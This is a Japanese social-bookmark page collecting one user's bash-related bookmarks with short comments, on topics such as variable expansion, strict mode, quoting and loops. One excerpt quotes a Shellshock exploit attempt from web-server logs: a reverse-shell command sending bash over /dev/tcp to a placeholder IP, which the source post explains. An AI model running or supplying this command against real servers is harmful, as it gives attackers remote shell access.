タグ

bashに関するiwwのブックマーク (280)

  • Cシェル変数:rmstar: UNIX/Linuxの部屋

    そこで、シェル変数 rmstar をセットしておくと、rm の引数に * を指定したとき、当に消してもよいかどうか確認を求めてくる。

    iww
    iww 2022/05/20
    rm * とやったときに聞いてくる環境変数。 初めて知ったけど便利やんと思ったけど tcsh にしかないらしい。
  • PHP: shell_exec - Manual

    Getting Started Introduction A simple tutorial Language Reference Basic syntax Types Variables Constants Expressions Operators Control Structures Functions Classes and Objects Namespaces Enumerations Errors Exceptions Fibers Generators Attributes References Explained Predefined Variables Predefined Exceptions Predefined Interfaces and Classes Predefined Attributes Context options and parameters Su

    PHP: shell_exec - Manual
    iww
    iww 2022/03/30
    『この関数は バッククォート演算子 と等価です。』
  • 【シェル芸人への道】Bashの変数展開と真摯に向き合う - Qiita

    はじめに 個人的なシェル(スクリプト)あるあるなんですが、変数操作に悩んでいるとBashの 変数展開 って思った以上に色んなことができてしまうことに気がつきます。 「なんかいい感じの書き方ないかなー」 「cut, tr, sed, awk, ...、まぁできるのは間違いないんだけど」 「うーん」ググリ― (10分後) 「えっ、変数展開...?(怪訝)」ポチポチ 「...」カタカタ 「いけるやん!!!」 ってことが結構あります。皆さんもこういった経験少なからずあるのではないでしょうか。 (そして今もまさにそういう記憶・期待があるから、変数展開について少し調べている...そんなところかと推察します) 毎回調べるのも感動があっていいと思うんですが、もはや衝動を押さえきれないので 全部調べたい と思います。 Bashのバージョンは 4.3.48(1) でしたが、そうそう変わるような内容でも

    【シェル芸人への道】Bashの変数展開と真摯に向き合う - Qiita
    iww
    iww 2022/03/22
  • シェルスクリプトで関数を利用する - Qiita

    このとき、関数の名前に続けて、引数を書くことができます。関数内では、通常のシェルスクリプトの引数を処理するのと同じように\$1、\$2、...という形でアクセスできます。 簡単な例 #!/bin/bash # 関数の定義 say_hello () { echo "Hello, world!" } # 関数の呼び出し say_hello

    シェルスクリプトで関数を利用する - Qiita
    iww
    iww 2022/03/22
  • SC2162 · koalaman/shellcheck Wiki · GitHub

    You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert

    SC2162 · koalaman/shellcheck Wiki · GitHub
    iww
    iww 2022/02/10
    readコマンドを使うときは -r をつけてバックスラッシュによるエスケープを殺した方がいいよという話
  • bashの正規表現でスペース(空白)を判定する方法

    bashの正規表現でスペース(空白)を判定する方法を紹介します。 1.問題点 bashで、下記のようなスペース(空白)を含む文字列を判定したいのですが、方法がわかりません。 #!/bin/bash str="aaa bbb ccc" if [[ $str =~ 'a{3} b{3} c{3}' ]]; then echo "yes" else echo "no" fi 実行結果 no ちなみに単純な文字列であればマッチするようです。 #!/bin/bash str="aaa bbb ccc" if [[ $str =~ 'aaa bbb' ]]; then echo "yes" else echo "no" fi 実行結果 yes ということで、bashの正規表現でスペースを判定する方法を紹介します。 2.bashの正規表現でスペースを判定する 正規表現でスペースを判定するには、スペースを

    bashの正規表現でスペース(空白)を判定する方法
  • bash スクリプトの実行中上書き動作について

    を設定してから再度試した所 bar が表示された。backupcopy は編集中のファイルによって自動で判別する auto がデフォルトになっている為、試す際には明示的に yes に設定しないといけない。 bash の実装確認 evalstring.c の parse_and_execute でコマンドが処理されており、input.c の with_input_from_buffered_stream で読み込みの準備が行われている。バッファの読み込みの体は y.tab.c つまりパーサから直接呼ばれており、このパーサは fgets(3) で読み込まれつつ実行される為、一括でファイルが読み込まれている訳ではない。 while/do でループ実行した際に、ファイルを書き換えられたら戻り先はどうなるか、についてはスクリプトはバッファ付きで読み込まれており、そのバッファがファイルシステムから読

    bash スクリプトの実行中上書き動作について
    iww
    iww 2021/12/29
    ファイルが逐次読まれるだけなので、cp前に削除すれば問題ないのね
  • Lustre ファイルシステムのファイル消失について | 日本ヒューレット・パッカード合同会社

    iww
    iww 2021/12/29
    こんな仕様知らんかった。 こっわ
  • シェルスクリプトは変数代入で = の前後にスペースを置けない!・・・の本当の理由を知ると優れた文法が見えてくる - Qiita

    シェルスクリプトは変数代入で = の前後にスペースを置けない!・・・の当の理由を知ると優れた文法が見えてくるShellScriptBashUNIXshellPOSIX はじめに シェルスクリプトの変数代入で = の前後にスペースを置くことができない理由は、検索すれば「プログラマーの君! 勘違いするな! シェルスクリプトでは読みやすさのためにスペースを置くな!! という話」のような記事がすぐに見つかります。記事に書いてあるとおり変数代入とコマンド呼び出しと区別がつかないからです。それは間違いではないんですが、私はもう少し説明が足りないと感じています。そこで今回は = の前後にスペースを置けない当の理由を解説したいと思います。 の前に皆さんにはこの話を読みながら、自分がシェルスクリプトの言語設計者だったとしたら、どういう言語仕様にするかを考えて欲しいです。なぜかと言うとシェルスクリプトの文

    シェルスクリプトは変数代入で = の前後にスペースを置けない!・・・の本当の理由を知ると優れた文法が見えてくる - Qiita
    iww
    iww 2021/11/10
    『シェルスクリプトの言語は他のプログラミング言語がまったく考慮していない使い方を考慮して設計されています。それは人間がシェル上で直接入力して実行するという使い方です。』
  • bash スクリプトの先頭によく書く記述のおさらい - Money Forward Developers Blog

    こんにちは。 マネーフォワードでアグリゲーション開発を担当しています中川です。 今回のブログは、私が bash スクリプトを書く際に心がけている事のおさらいをします。 知ってて当たり前のことかも知れませんが、意外と理解されていないアレです。 では、私が bash スクリプトを書く際によく使う記述を一つずつ紹介します。 2種類の shebang シェルスクリプトの一行目に必ず記述する #! で始まる行を shebang と言います。 bash スクリプトの shebang は、bash を絶対パスで指定する方法と、env を使って指定する方法の二種類あります。 bash を絶対パスを指定する方法 #!/bin/bash env を使ってを指定する方法 #!/usr/bin/env bash 前者は /bin/bash が使われます。 (/bin/bash が存在しなければスクリプトの起動時に

    bash スクリプトの先頭によく書く記述のおさらい - Money Forward Developers Blog
    iww
    iww 2021/05/20
  • bashで複数行の変数をそのまま表示する | クロジカ

    ホーム / ハック / bashで複数行の変数をそのまま表示する

    bashで複数行の変数をそのまま表示する | クロジカ
    iww
    iww 2021/03/24
  • Bash Strict Mode

    Use Bash Strict Mode (Unless You Love Debugging) Let's start with the punchline. Your bash scripts will be more robust, reliable and maintainable if you start them like this: I call this the unofficial bash strict mode. This causes bash to behave in a way that makes many classes of subtle bugs impossible. You'll spend much less time debugging, and also avoid having unexpected complications in prod

    iww
    iww 2021/02/18
    「set -euo pipefail」「IFS=$'\n\t'」 なるほど 便利そう
  • Github Actionsでyesコマンドを使いたい時は代わりにecho yするといい - The Third Law

    こんばんは、id:maku693です。 タイトルでほぼ全部説明しましたが、Github Actionsでちょっとハマりました。 Github Actionsのワークフローでは工夫しないとyesコマンドを使えないので、代わりにecho yを使うと手っ取り早いです。 これに気づいたのは、[y/N]どちらかの入力を待つことで処理を続行していいか聞いてくるプログラムをワークフロー中で使いたかったので、yesコマンドを使ってyを入力させようとしたところ、yes: standard output: Broken pipeというエラーが出て正常にワークフローが終了しなかったためです。 手元 (macOS) で実行してもエラーにならないので不思議に思って調べてみると、bashにpipefailオプションが指定されている*1のと、yesコマンドがSIGPIPEを受け取って終了する前提で使われているのが原因で

    Github Actionsでyesコマンドを使いたい時は代わりにecho yするといい - The Third Law
    iww
    iww 2021/01/09
    『yesコマンドを使ってyを入力させようとしたところ、yes: standard output: Broken pipeというエラーが出て正常にワークフローが終了しなかった』 そうなのか。 面白い
  • [Bash] クォートの種類と変数への格納 - Qiita

    この世には、引用符(クォート、クォーテーション)には種類があり、Bashの世界ではその意味が異なります。 その問題にぶち当たったので、少し記事にしてみようと思います。 ことの発端 pecoを使ってbash_historyから履歴を漁るコマンドを改良していた時、どうしてもエスケープが必要だったのでJavaのお仕事で培ったシングルクォートとダブルクォートを両方使うという荒業をしたところ巧く動作しなかったのが発端です。 私は土日を挟むと金曜日以前のことが思い出せない病気を患っているので、処理毎に関数や変数にまとめて名前を付けるクセがあります。 また、コメントは冗長と思っていて、メンテする気が失せるのでドキュメントコメントしか書きません。 sedコマンドはうまくエスケープできたのですが、(うまく実行できたとは言っていない) awkコマンドをダブルクォートでエスケープすると、vimのハイライトがおか

    [Bash] クォートの種類と変数への格納 - Qiita
    iww
    iww 2021/01/07
    『私は視力が悪くて、バッククォートのネストどころか、シングルクォートとの違いが見えないので、$(command)書式を使います。』
  • [rlwrap] 任意のシェルコマンドを対話モード化する [作り直した] - Qiita

    似たようなタイトルの記事を書いてすまなんだ 今北産業 これ作った↓ ウンコードだったから作り直した rlwrapくん偉いぞ rlwrapってなんぞや readline(ターミナルの標準入力的なやつ)をラップするやつ。 名前も r(ead)l(ine)wrap からきてると思う readlineはアローキーを押したときの挙動がしょぼい。そういう悲しみを解消してくれるコマンド rlwrapをつかわないとこうなる▼ (↑↓←→↑の順で押してます) rlwrapを使ってみる sqlplusもその悲しみを背負ったコマンドらしいので、sqlplusに対してrlwrapが使われてるらしい(知らなかった)。 要するに、 ってするらしい。sqlplusを使う人はだいたい.zshrcあたりに alias sqlplus="rlwrap sqlplus"なんてしてるらしいよ 題 前に書いた これ http:/

    [rlwrap] 任意のシェルコマンドを対話モード化する [作り直した] - Qiita
  • bashでリダイレクトを使ったソケット通信 - うまいぼうぶろぐ

    vpsのhttpdのログにbash脆弱性を狙ったアクセスが来ていて、たいていはどこかへpingを実行したり、HTTPヘッダにX-Bash-Test というのを含めて脆弱性を確認してるだけ、みたいなのだけど、その中で見慣れないログを見つけた。 User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.0.2.1/8080 0>&1(/dev/tcp の後は/ipアドレス/port 上のは適当な例) /dev/tcp ? こいつは何がしたい? "/bin/bash -i >& /dev/tcp/192.0.2.1/8080 0>&1" /bin/bash -i を実行したときの標準入力(0)、標準出力(1)、標準エラー(2) 、つまり全ての入出力を/dev/tcp/192.0.2.1/8080 にリダイレクトにしている。(">& hoge.txt"

    bashでリダイレクトを使ったソケット通信 - うまいぼうぶろぐ
    iww
    iww 2020/10/15
    便利そう
  • とほほのBash入門 - とほほのWWW入門

    シェルの種類 プロンプト メッセージ出力(echo, printf) メタ文字 シェル変数と環境変数($XXX) 特殊変数($x) 変数展開(${...}) 読み込み専用(readonly) シェルスクリプト(*.sh) コメント(#) 継続行(\) コマンド区切り(;) グループコマンド({...}) サブシェル((...)) コマンド置換($(...), `...`) 初期化ファイル(.bash_profile/.bashrc) 入出力・リダイレクト(>) ヒアドキュメント(<<) パイプ(|) バックグラウンド実行(&) ヒストリ(history) 行編集(Ctrl-a, Ctrl-b, ...) ディレクトリスタック(dirs) 条件実行(; && ||) 条件分岐(if) 条件分岐(case) 繰り返し(for) 繰り返し(while) 繰り返し(until) 選択肢(selec

    iww
    iww 2020/10/12
    『"$@" は "$1" "$2" "$3" ... とみなされます。』
  • 『bash のbreak、continue、return、exit』

    bash のbreak、continue、return、exit | Cyber Thunderのブログ ■break、continue、return、exit せ> type break break is a shell builtin せ> type continue continue is a shell builtin せ> type return return is a shell builtin ■bashにgotoやjumpのようなコマンドはない せ> type goto -bash: type: goto: not found せ> type jump -bash: type: jump: not found ■continue文はfor、while、またはuntilループで次の繰り返しに飛ぶコマンド。 ・ifブロックやcaseブロックから途中で抜けるコマンドはない。 ・ラ

    『bash のbreak、continue、return、exit』
    iww
    iww 2020/10/12
    『break文はfor、while、またはuntilループを途中で抜けるコマンド。 ・ifブロックやcaseブロックから途中で抜けるコマンドはない。』
  • The process substitution output is out of the order

    iww
    iww 2020/09/14
    process substitution で呼び出し元が先に終了しちゃう問題。 括弧を駆使すれば回避できそうだけどごちゃごちゃしすぎて多分バグりそう
  • bashのfor文のまとめ

    bashのfor文のまとめです。 ネットで調べたところ、ケース別ですぐに使えそうなサンプルが並んでいるものがなかったので、このエントリーでまとめてみました。 認識違いがありましたどこかでつぶやいてください。 なお、サンプルでは変数のカーリーブレースやダブルクォーテーションは省略しています。適宜付与してください。 1.フォーマット bashのfor文のフォーマットは for 繰り返し条件 do # ... done となっています。 次のフォーマットでも書けます(以降、このフォーマットで解説)。 for 繰り返し条件; do # ... done 2.初期値・ループ条件・ループ時の処理で指定する 繰り返し条件の部分は一般的なfor文のお作法(初期値、ループ条件、ループ時の処理)が利用できます。 for ((初期値; ループ条件; ループ時の処理)); do # ... done サンプル m

    bashのfor文のまとめ
    iww
    iww 2020/08/26
    for ((i=0; i<10; i++)); do echo $i; done は知らなかった